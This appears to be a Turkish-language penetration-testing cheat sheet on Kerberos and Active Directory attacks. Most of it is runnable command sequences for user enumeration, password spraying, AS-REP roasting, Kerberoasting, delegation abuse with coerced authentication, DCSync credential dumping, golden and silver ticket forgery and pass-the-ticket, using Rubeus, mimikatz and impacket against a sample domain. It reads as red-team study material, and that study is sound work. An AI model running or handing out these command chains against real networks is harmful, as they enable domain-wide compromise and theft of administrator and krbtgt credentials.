Kerberos Attacks
Kerberos Nedir?
Kerberos, servislerin her kullanıcının kimlik bilgilerini bilmek zorunda kalmasını önlemek için kimlik doğrulamayı merkezileştirmek için kullanılır.
Kullanıcıların ağ üzerinden bir şifre göndermeden hizmetlere kimlik doğrulaması yapmasına olanak tanır. Bu, MITM saldırılarına karşı koruma sağlar.

Username Enumeration
As-Req isteklerini kullanarak domaindeki kullanıcıların bir listesini bulabiliriz.
Bu yöntem smb'den çok daha sessizdir ve hızlıdır.
kerbrute userenum users.txt --dc dc01.corp.local -d corp.local
Password Spraying
Bu saldırı ile bir kullanıcı listesinde sabit bir parolayı deneyebiliriz.
Domain'de çok fazla dikkat çeker.
kerbrute passwordspray users.txt 'corp2025' --dc dc01.corp.local -d corp.local
AS-REPRoasting
Bir domain hesabı veya hesap listesi gerekir.
DONT_REQ_PREAUTH (Do not require Kerberos preauthentication) özelliği açık olan hesaplar etkilenir.
Parolaların kırılabilir olması gerekir.
Windowsta aşağıdaki şekilde yapılır.
# PowerView modülünü içeri aktar
Import-Module .\PowerView.ps1
# Pre-authentication gerektirmeyen kullanıcıları bulur
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
# AS-REP roasting saldırısını gerçekleştir ve TGT'leri kaydeder
.\Rubeus.exe asreproast /nowrap /outfile:asrep.txt
# TGT'leri kırar
.\hashcat.exe -m 18200 asrep.txt rockyou.txt -O
Linuxta aşağıdaki şekilde yapılır
# Zafiyetli hesapların TGT'sini alır (kullanıcı hesabı kullanarak)
impacket-GetNPUsers corp.local/john:'pass123' -dc-ip 10.10.10.1 -outputfile asrep.txt
# Zafiyetli hesapları TGT'sini alır (kullanıcı listesi kullanarak)
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.1 -usersfile users.txt -outputfile asrep.txt
# TGT'leri kırar
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberoasting
Eğer servis bir kullanıcı hesabı ile çalışıyorsa parolası zayıf olabilir ve kırılma ihtimali vardır.
Bir domain hesabı veya as-reproastable bir hesabın adı ve bir SPN gerekir.
Windowsta aşağıdaki şekilde yapılır
# Powerview ile kerberoasting
Import-Module .\PowerView.ps1
Invoke-Kerberoast
# Rubeus ile kerberoasting
.\Rubeus.exe kerberoast /nowrap /outfile:kerb.txt
# Hash kırma
.\hashcat.exe -m 13100 kerb.txt rockyou.txt -O
# Domain kullanıcısı olmadan kerberoasting
Rubeus.exe createnetonly /program:cmd.exe /show
Rubeus.exe kerberoast /nopreauth:john /domain:corp.local /spn:MSSQLSvc/SQL01:1433 /nowrap /outfile:kerb.txt
# Servis hesaplarının TGS'lerini alır
impacket-GetUserSPNs corp.local/john:'pass123' -dc-ip 10.10.10.1 -outputfile kerb.txt
# TGS hashini kırar
hashcat -m 13100 kerb.txt rockyou.txt
Unconstrained Delegation Computer
Eğer bir kullanıcı, Unconstrained Delegation etkinleştirilmiş bir sunucuda bir TGS bileti talep ederse, kullanıcının TGT'si, TGS biletinin içine gömülür ve bu bilet daha sonra sunucuya gönderilir.
Sunucu bu bileti bellekte saklar ve ardından domaindeki diğer isteklerde o kullanıcıymış gibi davranabilir.
Eğer Unconstrained Delegation etkin değilse, yalnızca kullanıcının TGS bileti bellekte saklanır. Bu durumda, makine ele geçirilirse, bir saldırgan yalnızca TGS biletinde belirtilen kaynağa, o kullanıcının yetkilerinde erişebilir.
Unconstrained Delegation olan bir cihaza oturumumuz olmalı.
# Unconstrained Delegation olan bilgisayarları bulur
Import-Module .\PowerView.ps1
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
# Bir kullanıcının oturum açmasını bekliyoruz ve TGT'sini alıyoruz
.\Rubeus.exe monitor /interval:5 /nowrap
# Oturum açan kullanıcının yetkilerine bakabiliriz
Get-DomainGroup -MemberIdentity <USERNAME>
# TGT'yi kullanarak istediğimiz servis için TGS istiyoruz.
.\Rubeus.exe asktgs /ticket:<TICKET_BASE64> /service:cifs/dc01.corp.local /ptt /nowrap
# TGS kullanmak yerine doğrudan TGT kullanabiliriz
.\Rubeus.exe renew /ticket:<TICKET_BASE64> /ptt /nowrap
# Aldığımız kullancının yetkilerini kullanabiliriz
dir \\dc01.corp.local\c$
Aynı zafiyeti doğrudan DC TGT'sini ele geçirmek için kullanabiliriz.
# DC'nin oturum açmasını bekliyoruz
.\Rubeus.exe monitor /interval:5 /nowrap
# DC'nin bize oturum açması için zorluyoruz
.\SpoolSample.exe dc01.corp.local sql01.corp.local
# DC'nin TGT'sini kullanıyoruz
.\Rubeus.exe renew /ticket:<TICKET_BASE64> /ptt /nowrap
# Mimikatz ile DCSYNC yapabiliriz
.\mimikatz.exe
lsadump::dcsync /user:administrator
# Domain admin hashini kullanabiliriz
.\Rubeus.exe asktgt /rc4:<NTLM> /user:administrator /ptt
dir \\dc01.corp.local\c$
# DCSYNC yapmak istemiyorsak S4U2self yapabiriz
.\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.corp.local /ptt /ticket:<BASE64_TICKET>
dir \\dc01.corp.local\c$
Unconstrained Delegation User
Aynı yetki bir kullanıcıya da verilebilir.
Burada Unconstrained Delegation olan hesabın SPN'nindeki makinaya oturum açan herkes TGS bileti içine TGT kaydını da ekler. Bu nedenle kullanıcının yetkilerini istediğimiz gibi kullanabiliriz.
Bu saldırıyı için 2 şart sağlanmalı.
Unconstrained Delegation yetkisi olan bir kullanıcı hesabı ele geçirilmiş olmalı
Ele geçirdiğimiz kullanıcı üzerinde GenericWrite yetkisi olan bir hesap ele geçirmiş olunmalı. Bu yetki ile kullanıcı hesabına SPN ekleniyor.
# Unconstrained Delegation olan kullancılari listeler
Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
# Domaine bizim ip adresimizi cozen sahte bir DNS kaydı ekliyoruz
python dnstool.py -u corp.local\\john -p pass123 -r rogue.corp.local -d <ATTACKER_IP> --action add <DC_IP>
# GenericWrite olan hesap ile Unconstrained Delegation olan hesaba SPN oluşturuyoruz
addspn.py -u corp.local\\john -p pass123 --target-type samname -t sqldev -s CIFS/rogue.corp.local dc01.corp.local
# Unconstrained Delegation olan kullanıcı hashi ile relay açıyoruz
python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
# Printerbug ile DC yi bize bağlanması için zorluyoruz
python3 printerbug.py corp.local/john:pass123@<DC_IP> rogue.corp.local
# TGT yi import ediyoruz
export KRB5CCNAME=./DC01\$@CORP.LOCAL_krbtgt@CORP.LOCAL.ccache
# DC Sync yapıyoruz
secretsdump.py -k -no-pass dc01.corp.local
Constrained Delegation (S4UProxy)
Bir hesabın veya bilgisayarın oturum açan kullanıcının yetkileri ile servislere bağlanmasını sağlar fakat sadece belirlenmiş bir cihazdaki belirli bir servis için bu yetki kısıtlanır.
Aşağıdaki yöntemi kullanarak hedef bilgisayardaki belirlenmiş servise değil diğer servislere de bağlanabiliriz.
# Windows
# Constrained Delegation olan kullanıcı ve bilgisayarları listeliyoruz
Import-Module .\PowerView.ps1
# msds-allowedtodelegateto özelliği olan hesapları arıyoruz
Get-DomainComputer -TrustedToAuth
# Makinedeki hashleri listeliyoruz ve hesabımızı buluyoruz
.\mimikatz.exe privilege::debug sekurlsa::msv exit
# Hesabımızın hashi ile msds-allowedtodelegateto yetkisine sahip olduğumuz makinede administrator taklit ediyoruz
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.corp.local /altservice:HTTP /user:DMZ01$ /rc4:<NTLM> /ptt
# Ticketı kontrol ediyoruz
klist
# Winrm ile artık bağlanabiliriz
Enter-PSSession ws01.corp.local
# Linux
# Bütün delegation yetkilerini listeler
impacket-findDelegation corp.local/john:'pass123'
# Administrator için ST alıyoruz
impacket-getST -spn TERMSRV/DC01 'corp.local/john:pass123' -impersonate Administrator
# Bileti import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# Bilet ile giriş yapıyoruz
impacket-psexec -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
Resource-based constrained delegation (RBCD)
Bir hesabın veya bilgisayarın oturum açan kullanıcının yetkileri ile servislere bağlanmasını sağlar fakat sadece belirlenmiş bir cihazdaki belirli bir servis için bu yetki kısıtlanır.
Constrained Delegation'dan tek farkı bu yetkinin hizmet hesabına veya bilgisayarına tanımlanması yerine erişilmesi gereken servise tanımlanmasıdır.
Saldırı için 2 koşul sağlanmalı
Bir bilgisayardaki msDS-AllowedToActOnBehalfOfOtherIdentity özelliğini değiştirme ayrıcalıklarına sahip bir kullanıcı veya gruba erişim. Bu genellikle, kullanıcının bir bilgisayar nesnesi üzerinde GenericWrite, GenericAll, WriteProperty veya WriteDACL ayrıcalıklarına sahip olması durumunda mümkündür.
SPN'ye sahip başka bir nesnenin kontrolü.
# RBCD yetkilerini listeler
Import-Module C:\Tools\PowerView.ps1
$computers = Get-DomainComputer
$users = Get-DomainUser
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"
foreach ($computer in $computers) {
$acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs
foreach ($user in $users) {
$hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}
if ($hasAccess) {
Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)"
}
}
}
Aşağıdaki komutlar ile windowsta yapılır.
# Domaine sahte bir bilgisayar ekliyoruz
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount ROGUECOMP -Password $(ConvertTo-SecureString "Password123!" -AsPlainText -Force)
# Kendi sahte makinamızı RBCD yetkisi olan bilgisayarın trust listesine ekliyoruz
# Bu listeye eklemek için bilgisayar üstünde genericwrite yetkisi olan hesabı kullanıyoruz
Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer ROGUECOMP -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "CORP\john", (ConvertTo-SecureString "pass123" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose
# Sahte bilgisayarın ntlm hashini alıyoruz
.\Rubeus.exe hash /password:Password123! /user:ROGUECOMP$ /domain:corp.local
.\Rubeus.exe s4u /user:ROGUECOMP$ /rc4:<NTLM> /impersonateuser:administrator /msdsspn:cifs/dc01.corp.local /ptt
klist
ls \\dc01.corp.local\c$
# Yetkiyi domainden silme
Import-Module .\PowerView.ps1
$credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\john", (ConvertTo-SecureString "Pass123" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -Verbose
Aşağıdaki komutlar ile linuxta yapılır.
# Domain'e sahte bilgisayar ekliyoruz
impacket-addcomputer -computer-name 'ROGUECOMP$' -computer-pass 'Password123!' -dc-ip <DC_IP> corp.local/john'pass123'
# Saldırıyı otamatik yapan scripti çağrıyoruz
impacket-rbcd -dc-ip <DC_IP> -action 'write' -delegate-to DC01$ -delegate-from REGUECOMP$ corp/john:pass123
# Oluşturduğumuz makine hesabı ile TGS alıyoruz
impacket-getST -spn cifs/DC01.corp.local -impersonate Administrator -dc-ip <DC_IP> corp.local/ROGUECOMP:'Password123!'
# TGS import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# TGS'yi kullanıyoruz
impacket-psexec -k -no-pass dc01.corp.local
Makine oluşturma yetkimiz yoksa aşağıdaki yöntem kullanılır
# Yetki olan hesabım parola hashini alıyoruz
pypykatz crypto nt 'pass123'
# Hesabın TGT'sini alıyoruz
impacket-getTGT CORP.LOCAL/john -hashes :<NT> -dc-ip <DC_IP>
# TGT içindeki session anahtarını alıyoruz
impacket-describeTicket john.ccache | grep 'Ticket Session Key'
# Bu anahtarı hesabımızın yeni hashi olarak ayarlıyoruz
impacket-changepasswd corp.LOCAL/john@<DC_IP> -hashes :<LM> -newhash :<TICKET_KEY>
# TGT anahtarını içe aktarıyoruz
export KRB5CCNAME=./john.ccache
# TGT anahtarını kullanarak GenericWrite yetkimizin olduğu SPN'de administrator taklit ederek TGS istiyoruz
impacket-getST -u2u -impersonate Administrator -spn TERMSRV/DC01.corp.LOCAL -no-pass corp.LOCAL/john -dc-ip <DC_IP>
# TGS ticket import ediyoruz
export KRB5CCNAME=./Administrator@TERMSRV_DC01.corp.LOCAL@corp.LOCAL.ccache
# Ticket ile servise bağlanıyoruz
impacket-wmiexec DC01.corp.LOCAL -k -no-pass
Golden Ticket
Golden Ticket saldırısı, saldırganların krbtgt hesabının parola karmasını kullanarak TGT'leri taklit etmesini ve imzalamasını sağlar.
Bu yöntem için Domain Controller içindeki krbtgt hesabının NT hashi gerekir.
Windowsta aşağıdaki şekilde yapılır
Import-Module .\PowerView.ps1
Get-DomainSID
.\mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:corp.local
kerberos::golden /domain:corp.local /user:Administrator /sid:<SID> /rc4:<NT_HASH> /ptt
klist
Enter-PSSession dc01
Linuxta aşağıdaki şekilde yapılır
# DCsync ile krbtgt NT hashini alıyoruz
impacket-secretsdump corp.local/administrator:'password123'@dc01.corp.local -just-dc-user krbtgt
# Domainin SID değerini alıyoruz
impacket-lookupsid corp.local/john:'pass123'@dc01.corp.local -domain-sids
# KRBTGT ile golden ticket oluşturuyoruz
impacket-ticketer -nthash <KRBTGT_NT> -domain-sid <SID> -domain corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# Bileti kullanıyoruz
impacket-psexec -k -no-pass dc01.corp.local
Silver Ticket
Silver ticket, saldırganın bir makine hesabının NT hashini kullanarak bir sahte bir TGS oluşturmasını sağlar.
Golden ticket'tan daha gizlidir çünkü her erişimde domain controller'a gidilmesi gerekmez.
Windowsta aşağıdaki şekilde yapılır.
# Powerview import ediyoruz
Import-Module .\PowerView.ps1
# Domain SID alıyoruz
Get-DomainSID
# Makine hesabının hashini kullanarak bir bilet oluşturuyoruz
.\mimikatz.exe "kerberos::golden /domain:corp.local /user:Administrator /sid:<SID> /rc4:<MACHINE_ACCOUNT_NT> /target:sql01.corp.local /service:cifs /ptt" exit
klist
# Bu bileti servise erişmek için kullanıyoruz
dir //sql01.corp.local/c$
Eğer gizlice bu servise bağlanmak istersek Sacrificial Process kullanabiliriz
# Powerview import ediyoruz
Import-Module .\PowerView.ps1
# Domain SID alıyoruz
Get-DomainSID
# Makine hesabının hashini kullanarak bir bilet oluşturuyoruz
.\mimikatz.exe
mimikatz.exe "kerberos::golden /domain:corp.local /user:Administrator /sid:<SID> /rc4:<MACHINE_ACCOUNT_NT> /target:sql01.corp.local /service:cifs /ticket:sql01.kirbi" exit
# Kullanıcısız bir cmd çalıştırıyoruz
Rubeus.exe createnetonly /program:cmd.exe /show
# Bu cmd'ye biletimizi aktarıyoruz
Rubeus.exe ptt /ticket:sql01.kirbi
# Bu bilet ile servise giriş yapıyoruz
PSExec.exe -accepteula \\sql01.corp.local cmd
Linuxta aşağıdaki şekilde yapılır
# Makine hesabının NT hashini alıyoruz
impacket-secretsdump administrator:'password123'@sql01.corp.local -just-dc-user SQL01$
# Domain SID alıyoruz
impacket-lookupsid corp.local/john:'pass123'@dc01.corp.local -domain-sids
# Makine hesabının NT hashi ile bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <MACHINE_ACCOUNT_NT> -domain-sid <SID> -domain corp.local -spn cifs/sql01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=./Administrator.ccache
# Bilet ile servislere giriş yapabiliyoruz
impacket-smbclient -k -no-pass sql01.corp.local
impacket-psexec -k -no-pass sql01.inlanefreight.local
Pass-the-ticket
Bu saldırı için makinede local administrator yetkisinde olmalıyız.
Bu yöntem ile makinenin hafızasında bulunan TGS biletlerini kullanabiliyoruz.
# Kullanıcısız bir cmd oluşturduk
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
# Makinedeki bütün biletleri listeliyoruz
.\Rubeus.exe triage
# İstediğimiz servisin TGS biletini alıyoruz
.\Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap
# Bileti kendimize aktarıyoruz
.\Rubeus.exe renew /ticket:<TGS_BASE64> /nowrap /ptt
# Bileti kontrol ediyoruz
klist
# Servise erişiyoruz
dir \\dc01\\c$
Servis SPN'leri
CIFS – Common Internet File System (SMB)
TERMSRV – Terminal Services (Remote Desktop bağlantıları)
WSMAN – Windows Remote Management (WinRM, PowerShell remoting)
RPCSS – Remote Procedure Call (RPC endpoint mapper)
HOST – Host service (CIFS+TERMSRV+WSMAN+WMI+RPCSS)
MSSQLSvc – Microsoft SQL Server
HTTP – HyperText Transfer Protocol (web sunucuları, IIS vb.)
LDAP – Lightweight Directory Access Protocol (Active Directory iletişimi)
SMTP – Simple Mail Transfer Protocol (e-posta gönderimi)
IMAP – Internet Message Access Protocol (e-posta alma)
POP – Post Office Protocol (başka bir e-posta alma protokolü)
Last updated
Was this helpful?